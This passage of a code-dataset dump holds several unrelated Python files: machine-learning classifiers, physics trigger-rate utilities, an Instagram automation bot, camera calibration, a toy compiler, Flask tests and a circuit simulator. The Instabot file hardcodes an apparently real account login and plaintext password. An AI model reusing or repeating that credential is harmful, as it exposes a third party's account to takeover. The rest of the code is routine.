LogisticRegression(random_state=0).fit(X,Y)\nY_Pred = clf.predict(X_Test)\nprint(clf.predict_proba(X_Test))\naccuracy = sum(Y_Pred == Y_Test)/len(Y_Pred)\nprint('log regression', accuracy)\nconfusion = confusion_matrix(Y_Test,Y_Pred)\nprint(confusion)\n\n\n#Decision Tree\nprint(' ')\nprint('Decision Tree')\ndecision_tree = tree.DecisionTreeClassifier().fit(X, Y)\nY_Pred = decision_tree.predict(X_Test)\ndecision_acc = sum((Y_Pred == Y_Test))/len(Y_Pred)\nprint(\"testing accuracy:\", decision_acc)\ndecision_fp = sum(((Y_Pred == 1) == (Y_Test == 0)))/len(Y_Pred)\nprint('FPR:',decision_fp)\nconfusion = confusion_matrix(Y_Test,Y_Pred)\nprint(confusion)\n\n\n#SVM\nprint(' ')\nprint('SVM')\nsvc = SVC(kernel='poly')\nsvc.fit(X, Y)\nY_Pred = svc.predict(X_Test)\nsvm_acc = sum((Y_Pred == Y_Test))/len(Y_Pred)\nprint(\"testing accuracy:\", svm_acc)\n\nsvm_fp = sum(((Y_Pred == 1) == (Y_Test == 0)))/len(Y_Pred)\nprint('FPR:', svm_fp)\n'''\n\n'''KNN'''\nprint(' ')\nprint('KNN')\nks = range(1,50, 5)\naccuracies = []\nfor k in ks:\n\tKNN = KNeighborsClassifier(n_neighbors=k)\n\tkf= KFold(n_splits=5)\n\tscore = cross_val_score(KNN,og_X,og_Y,cv=kf)\n\tprint(' ')\n\tprint('k=', k)\n\tprint(\"Cross Validation Scores are {}\".format(score))\n\tprint(\"Average Cross Validation score :{}\".format(score.mean()))\n\taccuracies.append(score.mean())\n\t'''\n\tKNN.fit(X, Y)\n\t#Y_Pred = KNN.predict(X_Test)\n\tY_Pred = (KNN.predict_proba(X_Test)[:,1] >= 0.5).astype(bool)\n\taccuracy = sum(Y_Pred == Y_Test)/len(Y_Pred)\n\t#accuracies.append(accuracy)\n\tprint('accuracy:', accuracy)\n\tconfusion = confusion_matrix(Y_Test,Y_Pred)\n\tprint('confusion:', confusion)\n\t'''\n\nplt.plot(ks, accuracies)\nplt.title(\"Average Cross Validation Accuracy for K-Nearest-Neighbors vs. K\")\nplt.ylabel(\"Accuracy (%)\")\nplt.xlabel(\"K\")\n#plt.ylim(0,1.1)\nplt.show()\nplt.show()\n\n\n\n\n\n","repo_name":"faleksic9/Loan-Approval-Prediction","sub_path":"final_deliverable/code/classifiers_copy.py","file_name":"classifiers_copy.py","file_ext":"py","file_size_in_byte":4656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10914630562","text":"from bisect import insort, bisect_left, bisect_right, bisect\nfrom collections import deque,Counter\nfrom datetime import datetime\nfrom itertools import islice\nimport numpy as np\nfrom numpy import median\nimport os, copy\nfrom ROOT import TDatime, TFile, TGraph\n\n################################################################################\n# Define comon path to input files (i.e. either EOS or local)\n\nlocal=False\ncommon_path='./root/' if local else '/eos/cms/store/group/phys_bphys/bpark/RootFiles4Run3Parking/'\n\n################################################################################\n\n# BBbar inclusive cross section \n# from http://www.lpthe.jussieu.fr/~cacciari/fonll/fonllform.html\nSigma_B = 4.6940e+11 # fb (femtobarn!!) \n\n# Fragmentation fraction for B+-\nfB = 0.4\n\n# Branching fraction for \"at least one rare B->Kee decay\" per event (simplified to 2 * 4.4E-7)\nBr_kee = 2*4.5e-7\n\n################################################################################\n# Dictionary that maps pT threshold to deltaR requirement at Level-1\ndr_dict = {\n 4.0:0.9,\n 4.5:0.9,\n 5.0:0.9,\n 5.5:0.8,\n 6.0:0.8,\n 6.5:0.8,\n 7.0:0.8,\n 7.5:0.7,\n 8.0:0.7,\n 8.5:0.7,\n 9.0:0.7,\n 9.5:0.6,\n 10.0:0.6,\n 10.5:0.6,\n 11.0:0.6,\n 11.5:0.5,\n 12.0:0.5,\n 12.5:0.5,\n 13.0:0.5,\n 13.5:0.4,\n 14.0:0.4,\n} \n\n################################################################################\n# Maximum HLT bandwidth in 2018 vs Linst, from Sara's presentation:\n# https://indico.cern.ch/event/1032638/contributions/4336416/\nmax_bw_hlt = {\n 2.2:1515,\n 2.0:1515,\n 1.7:1740,\n 1.5:1929,\n 1.3:2163.5,\n 1.1:2463,\n 0.9:2929,\n 0.6:3791, # Default TSG column?\n 0.7:3791,0.47:3791,0.24:3791 # NEED TO UPDATE FOR LOWER LINST???\n}\n\n################################################################################\n# Pairwise (L1,HLT) thresholds to avoid \"vertical regions\" in ROCs\nl1_threshold_list = np.arange(4, 11, 0.5).tolist()\nhlt_threshold_list = [4.0,4.0,4.0,4.0,4.0, # L1: 4.0->6.0\n 4.5,5.0,5.0,5.0,5.5, # L1: 6.5->8.5\n 6.0,6.5,6.5,6.5, # L1: 9.0->10.5\n ]\nhlt_threshold_dict = dict(zip(l1_threshold_list,hlt_threshold_list))\n\n################################################################################\n# List of PU values ...\n# ... that map to Linst values: 2.0, 1.7, 1.5, 1.3, 1.1, 0.9, 0.6E34\nnpu_list = [56, 48, 42, 36, 30, 25, 17]\n\n################################################################################\n# Parse .csv file to extract example \"luminosity profile\" for 2018\n\ndef extractLumiProfiles(original=False,max_duration=12*3600) :\n\n # Golden JSON\n #https://cmsoms.cern.ch/cms/runs/report?cms_run=324980&cms_run_sequence=GLOBAL-RUN\n #\"324980\": [[39, 917], [919, 954], [956, 968], [1005, 1042], [1044, 2340]],\n golden = [[53, 917], [919, 954], [956, 968], [1005, 1042], [1044, 2340]]\n\n # Parse csv file \n times = []\n lumis = []\n for line in open('LumiData/LumiData_2018_20200401.csv', 'r'):\n if line.find('324980:7321')==-1: continue\n\n line = line.rstrip().split(',')\n ls = line[1].split(':')[0]\n\n flag = False\n for lrange in golden:\n if int(ls) >= min(lrange) and int(ls) <= max(lrange): flag = True\n if not flag: continue\n\n time = line[2].split(' ')\n time = TDatime(int(time[0].split('/')[2])+2000, \n int(time[0].split('/')[0]), \n int(time[0].split('/')[1]), \n int(time[1].split(':')[0]), \n int(time[1].split(':')[1]), \n int(time[1].split(':')[2]))\n times.append(time.Convert())\n\n Linst = float(line[5])*0.0001\n lumis.append(Linst)\n \n # Start at zero\n min_time = min(times)\n times = [number - min_time for number in times]\n\n # Check if times are sorted\n if(times != sorted(times)):\n print(\"Times not sorted!\")\n quit()\n\n # Return originals, before smoothing or truncating\n if original: return times,lumis\n\n # Smooth with running median\n window = 11 # has to be odd\n lumis = RunningMedian(lumis,window) # shortens by window-1\n for i in range((window-1)/2): # pad\n lumis.insert(0,lumis[0])\n lumis.insert(-1,lumis[-1])\n\n # Truncate to 12 hours \n times,lumis = zip(*filter(lambda time: \n time[0] max_duration : continue\n graph.SetPoint(idx, time, max(0.,lumi))\n idx += 1\n graph.Write()\n \n # Write to file and close\n file.Write()\n file.Close()\n\n################################################################################\n# Utility methods\n\ndef ensureDir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\ndef hackRate(rate,which_lumi):\n #linst=[0.6,0.45,0.30,0.15]\n linst=[0.7,0.47,0.24,0.06]\n idx=None\n try: idx = linst.index(which_lumi)\n except ValueError: return rate\n if idx is not None and idx>0: return rate * linst[idx]/linst[0]\n else : return rate\n\ndef scaleGraph(graph,scale) :\n for i in range(graph.GetN()) :\n graph.SetPointY(i,graph.GetPointY(i)*scale)\n return graph\n\ndef RunningMedian(seq, M):\n\n # Running median, used to smooth lumi profiles\n # Taken from https://code.activestate.com/recipes/578480-running-median-mean-and-mode/\n\n seq = iter(seq)\n s = [] \n m = M // 2\n\n # Set up list s (to be sorted) and load deque with first window of seq\n s = [item for item in islice(seq,M)] \n d = deque(s)\n\n # Simple lambda function to handle even/odd window sizes \n median = lambda : s[m] if bool(M&1) else (s[m-1]+s[m])*0.5\n\n # Sort it in increasing order and extract the median (\"center\" of the sorted window)\n s.sort() \n medians = [median()] \n\n # Now slide the window by one point to the right for each new position (each pass through \n # the loop). Stop when the item in the right end of the deque contains the last item in seq\n for item in seq:\n old = d.popleft() # pop oldest from left\n d.append(item) # push newest in from right\n del s[bisect_left(s, old)] # locate insertion point and then remove old \n insort(s, item) # insert newest such that new sort is not required \n medians.append(median()) \n return medians\n","repo_name":"gitytakahas/Run3BparkingHLTStudies","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":10367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3256918788","text":"class Solution(object):\n def letterCombinations(self, digits):\n \"\"\"\n :type digits: str\n :rtype: List[str]\n \"\"\"\n h = {\n '2': ['a', 'b', 'c'],\n '3': ['d', 'e', 'f'],\n '4': ['g', 'h', 'i'],\n '5': ['j', 'k', 'l'],\n '6': ['m', 'n', 'o'],\n '7': ['p', 'q', 'r', 's'],\n '8': ['t', 'u', 'v'],\n '9': ['w', 'x', 'y', 'z']\n }\n\t\t\n if len(digits) == 0:\n return []\n \t\t\n firstDigit = digits[0]\n firstDigitCharacters = h[firstDigit]\n\t\t\n furtherCombinations = self.letterCombinations(digits[1:])\n result = []\n\t\t\n if len(furtherCombinations) == 0:\n furtherCombinations.append(\"\")\n \n for ele in firstDigitCharacters:\n for char in furtherCombinations:\n result.append(ele + char)\n return result\n","repo_name":"sayankd21/CP2_CIPHERSCHOOLS","sub_path":"17_Letter_Combinations_of_a_Phone_number.py","file_name":"17_Letter_Combinations_of_a_Phone_number.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12134607432","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport time\n\nfrom src import InstaBot\nfrom src.check_status import check_status\nfrom src.feed_scanner import feed_scanner\nfrom src.follow_protocol import follow_protocol\nfrom src.unfollow_protocol import unfollow_protocol\n\nbot = InstaBot(\n login=\"molteo_de\",\n password=\"Uso75V79JpfC\",\n like_per_day=150,\n comments_per_day=0,\n tag_list=['tiefbau','hochbau', 'baugewerbe', 'bauindustrie', 'digitalisierung', 'bauprojekt', 'gartenbau', 'abbund', 'bauunternehmen', 'baustelle', 'hochtief', 'bauverband', 'baurecht', 'rohbau', 'baumesse'],\n tag_blacklist=['livemusic', 'music', 'concert', 'concerti', 'blaelv2'],\n max_like_for_one_tag=15,\n follow_per_day=0,\n unfollow_per_day=0,\n start_at_h=8,\n start_at_m=13,\n end_at_h=17,\n end_at_m=5\n )\n\nwhile True:\n\n print(\"# MODE 0 = ORIGINAL MODE BY LEVPASHA\")\n #print(\"## MODE 1 = MODIFIED MODE BY KEMONG\")\n #print(\"### MODE 2 = ORIGINAL MODE + UNFOLLOW WHO DON'T FOLLOW BACK\")\n #print(\"#### MODE 3 = MODIFIED MODE : UNFOLLOW USERS WHO DON'T FOLLOW YOU BASED ON RECENT FEED\")\n #print(\"##### MODE 4 = MODIFIED MODE : FOLLOW USERS BASED ON RECENT FEED ONLY\")\n #print(\"###### MODE 5 = MODIFIED MODE : JUST UNFOLLOW EVERYBODY, EITHER YOUR FOLLOWER OR NOT\")\n\n ################################\n ## WARNING ###\n ################################\n\n # DON'T USE MODE 5 FOR A LONG PERIOD. YOU RISK YOUR ACCOUNT FROM GETTING BANNED\n ## USE MODE 5 IN BURST MODE, USE IT TO UNFOLLOW PEOPLE AS MANY AS YOU WANT IN SHORT TIME PERIOD\n\n mode = 6\n\n print(\"You choose mode : %i\" %(mode))\n print(\"CTRL + C to cancel this operation or wait 30 seconds to start\")\n #time.sleep(30)\n\n if mode == 0:\n bot.new_auto_mod()\n\n elif mode == 1:\n check_status(bot)\n while bot.self_following - bot.self_follower > 200:\n unfollow_protocol(bot)\n time.sleep(10 * 60)\n check_status(bot)\n while bot.self_following - bot.self_follower < 400:\n while len(bot.user_info_list) < 50:\n feed_scanner(bot)\n time.sleep(5 * 60)\n follow_protocol(bot)\n time.sleep(10 * 60)\n check_status(bot)\n\n elif mode == 2:\n bot.bot_mode = 1\n bot.new_auto_mod()\n\n elif mode == 3:\n unfollow_protocol(bot)\n time.sleep(10 * 60)\n\n elif mode == 4:\n feed_scanner(bot)\n time.sleep(60)\n follow_protocol(bot)\n time.sleep(10 * 60)\n\n elif mode == 5:\n bot.bot_mode = 2\n unfollow_protocol(bot)\n\n elif mode == 6:\n bot.auto_mod()\n else:\n print(\"Wrong mode!\")\n","repo_name":"stammi922/Instabot","sub_path":"real.py","file_name":"real.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"70004584804","text":"import cvzone\nimport os\nimport cv2\nfrom cvzone.SelfiSegmentationModule import SelfiSegmentation\nimport app\n\ndef change_background():\n cap = cv2.VideoCapture(0)\n cap.set(3,640)\n cap.set(4,480)\n segmentor = SelfiSegmentation()\n fps_reader=cvzone.FPS()\n\n bckimg_lis=os.listdir(r'E:\\OpenCVProject_Flask\\static\\background')\n\n lis=[(0,0,0)]\n for i in bckimg_lis:\n img=cv2.imread(r'E:\\OpenCVProject_Flask\\static\\background\\{}'.format(i))\n img=cv2.resize(img,(640,480))\n lis.append(img)\n id=0\n\n while True:\n _,frame = cap.read()\n frame=cv2.flip(frame,1)\n # print(frame.shape)\n imgOut = segmentor.removeBG(frame,lis[id],threshold=0.1)\n stack_img=cvzone.stackImages([frame,imgOut],2,1)\n _,stack_img=fps_reader.update(stack_img)\n cv2.imshow(\"Image\",stack_img)\n\n key=cv2.waitKey(1)\n\n if key == ord(\"d\"): ## d == for change background\n if id Optional[Node]:\n astparser = self.parser\n # given an input file, parse it into an AST object\n lines = None\n fname = infile.name\n with open(infile, \"r\") as f:\n lines = \"\".join([line for line in f])\n try:\n tree = ast.parse(lines)\n return astparser.visit(tree)\n except SyntaxError as e:\n e.filename = fname\n message = \"Syntax Error: {}. Line {:d} Col {:d}\".format(\n str(e), e.lineno, e.offset\n )\n astparser.errors.append(ParseError(message))\n return None\n\n def typecheck(self, ast: Node):\n # given an AST object, typecheck it\n # typechecking mutates the AST, adding types and errors\n self.typechecker.visit(ast)\n return ast\n\n def emitPython(self, ast: Node):\n backend = PythonBackend()\n backend.visit(ast)\n return backend.builder\n\n def emitLLVM(self, ast: Node):\n backend = LLVMBackend()\n ir = backend.visit(ast)\n return ir\n","repo_name":"anihm136/chocollvm","sub_path":"compiler/compiler.py","file_name":"compiler.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"52"} +{"seq_id":"30548929712","text":"import sys\nimport os\n\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))\n\nfrom flask_api import status\n\nfrom unittest import TestCase\nfrom mock import patch, MagicMock, PropertyMock\n\nsys.modules['pyrebase'] = MagicMock()\nsys.modules['flask_pymongo'] = MagicMock()\nsys.modules['requests'] = MagicMock()\nsys.modules['gridfs'] = MagicMock()\nfrom src.settings.application import app\n\nclass TestSearch(TestCase):\n\n PRODUCTS = [\n {\"_id\": \"5c06f868556f89598152f2ec\",\n \"name\": \"Producto Test1\",\n \"description\": \"Producto de prueba\",\n \"images\": \"\",\n \"price\": 50,\n \"category\": \"Categoría Test\",\n \"ubication\": \"Ubicación Test\",\n \"latitude\": \"-34.583540\",\n \"longitude\": \"-58.406081\",\n \"units\": 1,\n \"user_id\": \"5c06f868556f89598152f2eb\"},\n {\"_id\": \"5c06f868556f89598152f2eb\",\n \"name\": \"Producto Test2\",\n \"description\": \"Producto de prueba\",\n \"images\": \"\",\n \"price\": 50,\n \"category\": \"Categoría Test\",\n \"ubication\": \"Ubicación Test\",\n \"latitude\": \"-34.583540\",\n \"longitude\": \"-58.406081\",\n \"units\": 1,\n \"user_id\": \"5c06f868556f89598152f2eb\"}\n ]\n USER = {'display_name': 'display_name',\n 'email': 'email',\n 'password': 'password',\n 'phone': 'phone',\n 'registration_id': 'registration_id',\n 'rating': 1}\n\n def setUp(self):\n app.testing = True\n self.app = app.test_client()\n self.app.environ_base['HTTP_AUTHORIZATION'] = ' testToken'\n\n def tearDown(self):\n pass\n\n @patch('src.routes.search.Search.get_mongo')\n @patch('src.routes.search.Search.get_firebase')\n def test_get_ok(self, mock_get_firebase, mock_get_mongo):\n mockAux = MagicMock()\n mockAux.refresh.return_value = {'refreshToken': 'testToken', 'userId': 'userId'}\n mock_get_firebase.return_value = mockAux\n mockAux.auth.return_value = mockAux\n\n mockProducts = MagicMock()\n mockProducts.find.return_value = TestSearch.PRODUCTS\n\n mockDB = MagicMock()\n p = PropertyMock(return_value = mockProducts)\n type(mockDB).products = p\n\n mockUsers = MagicMock()\n mockUsers.find_one.return_value = TestSearch.USER\n\n p1 = PropertyMock(return_value = mockUsers)\n type(mockDB).users = p1\n\n mockMongo = MagicMock()\n mock_get_mongo.return_value = mockMongo\n type(mockMongo).db = PropertyMock(return_value = mockDB)\n\n response = self.app.get('http://127.0.0.1:8000/products/search?name=rod&description=prue&latitude=-34.583540&longitude=-58.406081&lowest_price=49&greatest_price=50&category=ate')\n assert status.is_success(response.status_code)","repo_name":"estanislaoledesma/app-server-meli","sub_path":"test/testSearch.py","file_name":"testSearch.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36594048348","text":"import sys\nimport glob\nimport os\nimport numpy as np\nimport cv2\nfrom cv2 import aruco\n\n\nclass IntrinsicCalibration:\n def __init__(self, dict_aruco=cv2.aruco.DICT_4X4_250, sqWidth=11, sqHeight=8, checkerSquareSize=0.022,\n markerSquareSize=0.016, criteria_eps=1e-9, criteria_count=10000):\n # Initialize ChArUco Board size values: default DINA4\n # Visit: https://calib.io/pages/camera-calibration-pattern-generator\n # To create: calib.io_charuco_279x215_8x11_24_DICT_4X4.pdf\n # Initialize dictionary, see more in OpenCV\n self.dict = dict_aruco\n # Amount of squares in width\n self.sqWidth = sqWidth\n # Amount of squares in heights\n self.sqHeight = sqHeight\n # Size of checker square on printed ChArUco board in meter\n self.checkerSquareSize = checkerSquareSize\n # Size of marker square on printed ChArUco board in meter\n self.markerSquareSize = markerSquareSize\n self.criteria_eps = criteria_eps\n self.criteria_count = criteria_count\n\n @staticmethod\n def readFileList(imgFolder, ImgPattern=\"*.PNG\"):\n # Read all PNG files in folder\n imgFileList = glob.glob(os.path.join(imgFolder, ImgPattern))\n imgFileList.sort()\n return imgFileList\n\n def calibration(self, imgFolder='CalibrationImages/Intrinsic', distImgFolder='CalibrationImages/Distorted'):\n # Retrieve Images\n imgFileList = self.readFileList(imgFolder)\n # All Charuco Corners\n allCorners = []\n # All Charuco Ids\n allIds = []\n decimator = 0\n # Retrieve dictionary\n dictionary = aruco.getPredefinedDictionary(self.dict)\n board = cv2.aruco.CharucoBoard_create(self.sqWidth, self.sqHeight, self.checkerSquareSize,\n self.markerSquareSize, dictionary)\n # Loop through images\n for i in imgFileList:\n print(\"Reading %s\" % i)\n # Load image to grayscale\n img = cv2.imread(i)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # Detect markers\n [markerCorners, markerIds, rejectedImgPoints] = cv2.aruco.detectMarkers(gray, dictionary)\n # Draw markers\n if len(markerCorners) > 0:\n [ret, charucoCorners, charucoIds] = cv2.aruco.interpolateCornersCharuco(markerCorners, markerIds, gray,\n board)\n if charucoCorners is not None and charucoIds is not None and len(charucoCorners) > 3:\n allCorners.append(charucoCorners)\n allIds.append(charucoIds)\n\n cv2.aruco.drawDetectedMarkers(img, markerCorners, markerIds, [0, 255, 0])\n cv2.aruco.drawDetectedCornersCharuco(img, charucoCorners, charucoIds, [0, 0, 255])\n\n cv2.namedWindow('Frame', cv2.WINDOW_NORMAL)\n cv2.imshow('Frame', img)\n cv2.waitKey(0) # any key\n decimator += 1\n print(\"NumImg:\", len(allCorners))\n imsize = img.shape\n print(imsize)\n # Try Calibration\n try:\n # , aa, bb, viewErrors\n # Calibrate camera\n [ret, cameraMatrix, disCoeffs, rvecs, tvecs, _, _,\n perViewErrors] = cv2.aruco.calibrateCameraCharucoExtended(\n allCorners, allIds, board, (imsize[0], imsize[1]),\n None, None, flags=cv2.CALIB_RATIONAL_MODEL,\n criteria=(cv2.TERM_CRITERIA_EPS & cv2.TERM_CRITERIA_COUNT, self.criteria_count, self.criteria_eps))\n # Print computed calibration results\n print(\"Rep Error:\", ret)\n print(\"Camera Matrix:\", cameraMatrix)\n print(\"Per View Errors:\", perViewErrors)\n print(\"Distortion Coefficients:\", disCoeffs)\n print(\"R vecs:\", rvecs)\n # Save calibration results in dedicated folder for numpy data of calibration\n np.savez('CalibrationNumpyData/intrinsic_calibration.npz', ret=ret, mtx=cameraMatrix, dist=disCoeffs,\n rvecs=rvecs, tvecs=tvecs)\n # Undistort the images\n imgDistortFolder = distImgFolder\n imgDistortFilelist = self.readFileList(imgDistortFolder)\n img_num = 0\n # Loop through images to undistort\n for j in imgDistortFilelist:\n imgDistort = cv2.imread(j)\n h = imgDistort.shape[0]\n w = imgDistort.shape[1]\n newcameramtx, roi = cv2.getOptimalNewCameraMatrix(cameraMatrix, disCoeffs, (w, h), 1, (w, h))\n print('Image cropped', j)\n # Undistort\n dst = cv2.undistort(imgDistort, cameraMatrix, disCoeffs, None)\n print('Image undistorted', j)\n imgDistortFilename = os.path.join(imgDistortFolder, '/undistort', str(img_num) + '.png')\n cv2.imwrite(imgDistortFilename, dst)\n print('Image saved', j)\n img_num = img_num + 1\n\n except ValueError as e:\n print(e)\n except NameError as e:\n print(e)\n except AttributeError as e:\n print(e)\n except:\n print(\"calibrateCameraCharuco fail:\", sys.exc_info()[0])\n # Close windows\n print(\"Press any key on window to exit\")\n cv2.waitKey(0) # any key\n cv2.destroyAllWindows()\n","repo_name":"merlzbert/SkinScan","sub_path":"Calibrations/.ipynb_checkpoints/IntrinsicCalibration-checkpoint.py","file_name":"IntrinsicCalibration-checkpoint.py","file_ext":"py","file_size_in_byte":5476,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"52"} +{"seq_id":"42203521490","text":"import sys\ninput = sys.stdin.buffer.readline\ndef I(): return(list(map(int,input().split())))\ndef sieve(n):\n\ta=[1]*n\n\tfor i in range(2,n):\n\t if a[i]:\n\t for j in range(i*i,n,i):\n\t a[j]=0\n\treturn a\n\nfor __ in range(int(input())):\n\tn=int(input())\n\tarr=I()\n\tarr.sort()\n\tcurrmax=0\n\tans=0\n\tfor i in range(n):\n\t\tcurrmax=max(arr[i],currmax)\n\t\tif currmax<=(i+1):ans=i+1\n\tprint(ans+1)\n\t\n\n\n\n","repo_name":"vishwesh-D-kumar/codeforces_submissions","sub_path":"1358/b/81508017.py","file_name":"81508017.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"105376746","text":"import unittest\nfrom typing import List, Type, Union, NamedTuple, Any\nfrom dataclasses import dataclass\nfrom copy import copy, deepcopy\n\n\nclass Value(object):\n @property\n def value(self):\n return self._value\n\n def __init__(self, value: Union[str, int]):\n if value == 0 or value == '0':\n self._value = 0\n elif value == 1 or value == '1':\n self._value = 1\n elif value == \"D\" or value == \"d\":\n self._value = \"D\"\n elif value == \"D'\" or value == \"d'\":\n self._value = \"D'\"\n elif value == \"U\" or value == \"u\":\n self._value = \"U\"\n else:\n raise ValueError(f\"Cannot be turned into error: {value}\")\n\n def __eq__(self, other):\n if self.value == 1:\n if other == 1 or other == '1':\n return True\n elif self.value == 0:\n if other == 0 or other == '0':\n return True\n elif self.value == 'U':\n if other == 'U' or other == 'u':\n return True\n elif self.value == 'D':\n if other == 'd' or other == 'D':\n return True\n elif self.value == \"D'\":\n if other == \"d'\" or other == \"D'\":\n return True\n return False\n\n def __and__(self, other):\n if self == 1:\n if other == 1:\n return Value('1')\n if other == 'U':\n return Value('U')\n return Value('0')\n\n def __or__(self, other):\n if self == 1 or other == 1:\n return Value(1)\n if self == 'U' or other == 'U':\n return Value('U')\n return Value(0)\n\n def __invert__(self):\n if self == 1:\n return Value(0)\n if self == 0:\n return Value(1)\n if self == 'D':\n return Value(\"D'\")\n if self == \"D'\":\n return Value('D')\n return Value('U')\n\n def __str__(self):\n return str(self.value)\n\n def __repr__(self):\n return repr(self.value)\n\n # def __hash__(self):\n # return hash(self.value)\n\n\nclass Node(object):\n def __init__(self, gate: 'Gate'):\n self.gate: Gate = gate\n self.gate.node: Node = self\n # self.name: str = gate.name\n self.gate_type: str = gate.type\n self.update = gate.update\n self.logic = gate.logic\n self.type: str = 'wire'\n self.input_nodes: List[Node] = []\n self.output_nodes: List[Node] = []\n self.stuck_at: Union[None, Value] = None\n self.get_logic = gate.get_logic\n\n @property\n def name(self):\n return self.gate.name\n\n @property\n def value(self):\n return self.gate.value\n\n @value.setter\n def value(self, val: Value):\n self.gate.value = val\n\n @property\n def value_new(self):\n return self.gate.value_new\n\n @value_new.setter\n def value_new(self, value: Value):\n self.gate.value_new = value\n\n @property\n def input_names(self):\n return [input_node.name for input_node in self.input_nodes]\n\n def __eq__(self, other: Union['Node', Any]):\n if type(other) == Node:\n if self.name == other.name:\n return True\n else:\n return False\n else:\n if self.value == other:\n return True\n else:\n return False\n\n # if self.value == other:\n # return True\n # else:\n # return False\n\n def __repr__(self):\n return self.name\n # return \"repr\"\n\n def __str__(self):\n return f\"{self.type}\\t{self.name} = {self.value}\"\n\n def __hash__(self):\n return hash(self.name)\n\n # def __del__(self):\n # del self.gate\n\n def reset(self):\n self.value = Value('U')\n self.value_new = Value('U')\n self.stuck_at = None\n\n def set(self, value: Value):\n self.value = value\n self.value_new = value\n\n def show_update(self):\n return \", \".join([str(node.value) for node in self.input_nodes]) + \\\n f\"equals {self.value}\"\n\n\nclass DummyNode(Node):\n def __init__(self, node: Node, stuck_at: Value):\n self.genuine = node\n gate_copy = copy(node.gate)\n super(DummyNode, self).__init__(gate=gate_copy)\n self.input_nodes = node.input_nodes\n self.stuck_at = stuck_at\n\n @property\n def name(self):\n return self.genuine.name + \" Dummy\"\n\n # @property\n # def value(self):\n\n\nclass Gate(object):\n def __init__(self, name: str, inputs=[]):\n self.input_names: List[str] = inputs\n self.name: str = name\n self.type: str = ''\n self.node: Union[Node, None] = None\n self._value: Value = Value('U')\n self._value_new: Value = Value('U')\n\n # return hash(self.name)\n\n def __repr__(self):\n return self.name\n\n def propagate(self, value):\n if value == 1 and self.stuck_at == 0:\n return Value(\"D\")\n elif value == 0 and self.stuck_at == 1:\n return Value(\"D'\")\n else:\n return value\n\n @property\n def value(self) -> Value:\n return self.propagate(self._value)\n\n @value.setter\n def value(self, value: Value):\n # self._value = value\n self._value = self.propagate(value)\n\n @property\n def value_new(self) -> Value:\n return self.propagate(self._value_new)\n\n @value_new.setter\n def value_new(self, value: Value):\n # self._value_new = value\n self._value_new = self.propagate(value)\n\n @property\n def input_nodes(self) -> List[Node]:\n return self.node.input_nodes\n\n @property\n def output_nodes(self) -> List[Node]:\n return self.node.output_nodes\n\n @property\n def stuck_at(self) -> Union[None, Value]:\n return self.node.stuck_at\n\n def update(self):\n if self.value_new == 1 and self.stuck_at == 0:\n self.value = Value(\"D\")\n elif self.value_new == 0 and self.stuck_at == 1:\n self.value = Value(\"D'\")\n else:\n self.value = self.value_new\n\n def logic(self):\n # Do not change\n pass\n\n def get_logic(self):\n return self._value\n\n @dataclass\n class Count:\n zero: int = 0\n one: int = 0\n unknown: int = 0\n d: int = 0\n dprime: int = 0\n input: int = 0\n\n @property\n def count(self) -> Count:\n count = self.Count()\n for node in self.input_nodes:\n count.input += 1\n if node == 0:\n count.zero += 1\n elif node == 1:\n count.one += 1\n elif node == \"d'\":\n count.dprime += 1\n elif node == \"d\":\n count.d += 1\n elif node == 'u':\n count.unknown += 1\n else:\n raise ValueError\n return count\n\n\nclass AndGate(Gate):\n def __init__(self, name, inputs=[]):\n super(AndGate, self).__init__(name, inputs)\n self.type = \"AND\"\n\n def logic(self):\n # print(\"And gate logic run\")\n count = self.count\n if count.zero:\n self.value_new = Value(0)\n elif count.unknown:\n self.value_new = Value('U')\n elif count.d and count.dprime:\n self.value_new = Value(0)\n elif count.d:\n self.value_new = Value(\"D\")\n elif count.dprime:\n self.value_new = Value(\"D'\")\n else:\n self.value_new = Value(1)\n\n def get_logic(self):\n # print(\"And gate logic run\")\n count = self.count\n if count.zero:\n return Value(0)\n elif count.unknown:\n return Value('U')\n elif count.d and count.dprime:\n return Value(0)\n elif count.d:\n return Value(\"D\")\n elif count.dprime:\n return Value(\"D'\")\n else:\n return Value(1)\n\n\nclass NandGate(AndGate):\n def __init__(self, name, inputs=[]):\n super(AndGate, self).__init__(name, inputs)\n self.type = \"NAND\"\n\n def logic(self):\n super(NandGate, self).logic()\n self.value_new = ~self.value_new\n\n def get_logic(self):\n return ~super(NandGate, self).get_logic()\n\n\nclass OrGate(Gate):\n def __init__(self, name, inputs=[]):\n super(OrGate, self).__init__(name, inputs)\n self.type = \"OR\"\n\n def logic(self):\n count = self.count\n if count.one:\n self.value_new = Value(1)\n elif count.d and count.dprime:\n self.value_new = Value(1)\n elif count.unknown:\n self.value_new = Value('U')\n elif count.d:\n self.value_new = Value(\"D\")\n elif count.dprime:\n self.value_new = Value(\"D'\")\n else:\n self.value_new = Value(0)\n\n def logic(self):\n count = self.count\n if count.one:\n self.value_new = Value(1)\n elif count.d and count.dprime:\n self.value_new = Value(1)\n elif count.unknown:\n self.value_new = Value('U')\n elif count.d:\n self.value_new = Value(\"D\")\n elif count.dprime:\n self.value_new = Value(\"D'\")\n else:\n self.value_new = Value(0)\n\n\nclass NorGate(OrGate):\n def __init__(self, name, inputs=[]):\n super(OrGate, self).__init__(name, inputs)\n self.type = \"NOR\"\n\n def get_logic(self):\n 